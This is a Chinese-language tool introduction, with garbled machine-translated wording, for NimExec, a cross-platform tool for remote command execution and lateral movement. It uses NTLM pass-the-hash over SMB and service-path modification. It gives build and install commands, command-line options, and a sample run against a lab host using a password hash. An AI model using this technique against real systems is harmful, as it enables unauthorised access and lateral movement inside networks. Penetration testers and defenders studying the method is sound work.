工具运行机制
该工具可以修正LocalSystem运行的随机或给定做事的代码路径,以实现在目标设备上实行给定代码。实行完成后,该工具可以通过自定义的RPC数据包来规复其初始状态。值得一提的是,该工具可以通过SMB2和svcctl命名管道来发送所有的数据包。
NimExec须要利用一个HTLM哈希来实现目标设备上的身份验证,然后通过手工制作的数据包和NTLM身份认证方法来完成身份验证过程。
由于所有须要的网络数据包都是手工制作的,并且不该用特定于操作系统的功能,因此通过利用Nim的交叉兼容性支持,NimExec可以在不同的操作系统中利用。

Nim措辞环境
测试平台Windows 10/11
Windows Server 16/19/22
Ubuntu 20.04
工具下载由于该工具基于Nim措辞开拓,因此我们首先须要在本地设备上安装并配置好Nim实行环境。
接下来,广大研究职员可以直策应用下列命令将该项目源码克隆至本地:
git clone https://github.com/frkngksl/NimExec.git
然后我们可以利用下列命令并通过Nimble安装该工具所需的Nim模块:
nimble install ptr_math nimcrypto hostname
代码编译
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
上述命令将利用不同的Garbage Collector,由于Nim的默认Garbage Collector会在做事搜索进程的过程中报SIGSEGV缺点。
命令行参数-v | --verbose 启用Verbose模式输出 -u | --username <Username> NTLM身份认证的用户名 -h | --hash <NTLM Hash> NTLM身份认证的NTLM密码哈希 -p | --password <Password> 明文密码 -t | --target <Target> 横向移动目标 -c | --command <Command> 要实行的命令 -d | --domain <Domain> NTLM身份认证域名 -s | --service <Service Name> 目标做事名称 --help 查看工具帮助信息
工具利用样例
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v _..._ .-'_..._''. _..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\ .' '. |__|| |/ `.' `. .-'' '. .-'' '. / .' . .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . ' | ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| | | | | || || | | | | || |`. \ .' /| || | | | | || || | | | | |\ .-------------' `. `' .' \ .-------------'. ' | | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ / | | | | .' / `. `. ` '--' '--' '----' '----' @R0h1rr1m [+] Connected to 10.200.2.2:445[+] NTLM Authentication with Hash is succesfull![+] Connected to IPC Share of target![+] Opened a handle for svcctl pipe![+] Bound to the RPC Interface![+] RPC Binding is acknowledged![+] SCManager handle is obtained![+] Number of obtained services: 265[+] Selected service is LxpSvc[+] Service: LxpSvc is opened![+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs[+] Service config is changed![!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)[+] Service start request is sent![+] Service config is restored![+] Service handle is closed![+] Service Manager handle is closed![+] SMB is closed![+] Tree is disconnected![+] Session logoff!
容许证协议
本项目的开拓与发布遵照MIT开源容许证协议。
项目地址NimExec:https://github.com/frkngksl/NimExec
参考资料https://github.com/juliourena/SharpNoPSExec
https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1
https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SCMR/%5bMS-SCMR%5d.pdf
https://github.com/jborean93/pypsexec/tree/master
https://www.x86matthew.com/view_post?id=create_svc_rpc